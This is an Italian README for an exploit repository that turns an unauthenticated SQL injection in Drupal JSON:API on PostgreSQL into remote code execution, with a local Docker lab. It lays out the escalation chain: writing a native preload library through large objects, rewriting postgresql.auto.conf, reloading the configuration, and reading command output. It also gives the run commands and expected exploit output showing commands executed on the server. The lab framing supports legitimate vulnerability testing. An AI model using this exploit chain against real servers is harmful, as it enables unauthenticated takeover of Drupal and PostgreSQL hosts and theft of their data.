
Exploit per SQL injection su Drupal JSON:API PostgreSQL verso RCE tramite libreria di preload nativa. Include un laboratorio Docker locale per testare percorsi di escalation per PostgreSQL 12–18+.
Questo repository contiene un laboratorio locale e un breve exploit per l'iniezione SQL in Drupal JSON:API PostgreSQL descritta nell'articolo di Ambionics.
La parte importante dell'exploit è l'escalation PostgreSQL: una volta che l'iniezione può valutare un'espressione SELECT come superutente PostgreSQL, scrive una libreria nativa di preload tramite large objects, ricarica postgresql.auto.conf, attiva session_preload_libraries e recupera l'output del comando con pg_read_file().
L'exploit legge prima version() e costruisce il blocco magico del modulo PostgreSQL per la versione principale rilevata. Gestisce i layout ABI del modulo per PostgreSQL 12, 13-14, 15-17 e 18+. Il compilatore locale deve comunque produrre un oggetto condiviso per la stessa architettura CPU del server PostgreSQL target.
Il laboratorio utilizza PostgreSQL 18.4, l'ultima release di PostgreSQL al momento della scrittura. Il percorso di escalation PostgreSQL è stato testato da PostgreSQL 12.20 fino a PostgreSQL 18.4.
.
├── docker-compose.yml
├── drupal/
│ ├── Dockerfile
│ ├── entrypoint.sh
│ └── seed-content.php
├── drupal-postgres-preload-rce.py
├── requirements.txt
└── README.md
Il laboratorio utilizza:
Drupal 10.4.9
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1)
PHP 8.3 / Apache
Drupal è connesso a PostgreSQL come superutente postgres in modo che l'iniezione SQL solo SELECT possa essere escalata a RCE.
docker compose version
python3 --version
cc --version
Esempio di output:
Docker Compose version v2.37.3
Python 3.12.3
cc (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0
Costruisci e avvia i container:
docker compose build --quiet
docker compose up -d
Output previsto:
Container cve9082-pg18 Started
Container cve9082-drupal Started
Attendi che Drupal diventi healthy:
docker compose ps
Output previsto:
NAME SERVICE STATUS
cve9082-pg18 db Up ... (healthy)
cve9082-drupal drupal Up ... (healthy)
Il laboratorio ascolta su:
http://127.0.0.1:8089
Controlla la versione di PostgreSQL:
docker exec cve9082-pg18 psql -U postgres -d drupal -tAc 'select version()'
Output previsto:
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit
Controlla che JSON:API esponga l'articolo seed:
curl -fsS http://127.0.0.1:8089/jsonapi/node/article | python3 -m json.tool | sed -n '1,20p'
Output previsto:
{
"jsonapi": {
"version": "1.0"
},
"data": [
{
"type": "node--article"
}
]
}
python3 -m venv .venv
. .venv/bin/activate
pip install -r requirements.txt
Output previsto:
Successfully installed requests-...
Esegui id tramite l'iniezione SQL JSON:API non autenticata:
python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 id
Output previsto:
[+] checking SQL injection context
version: PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit
current_user: postgres superuser=True
data_directory: /var/lib/postgresql/18/docker
module_abi: PostgreSQL 18 magic=1800 layout=pg18
[+] built PostgreSQL 18 preload module (14080 bytes)
[+] writing preload library to /var/lib/postgresql/18/docker/cve9082_preload.so
1400/14080 bytes
...
14080/14080 bytes
[+] rewriting /var/lib/postgresql/18/docker/postgresql.auto.conf
189/189 bytes
[+] reloading PostgreSQL configuration
[+] triggering a fresh backend
[+] reading command output
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
__exit=0
[+] restoring/clearing PostgreSQL preload settings
152/152 bytes
Esegui un altro comando:
python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 'uname -a'
Output previsto:
[+] reading command output
Linux ... x86_64 GNU/Linux
__exit=0
Ferma i container ma mantieni il volume del database:
docker compose down
Ferma i container ed elimina il volume del database:
docker compose down -v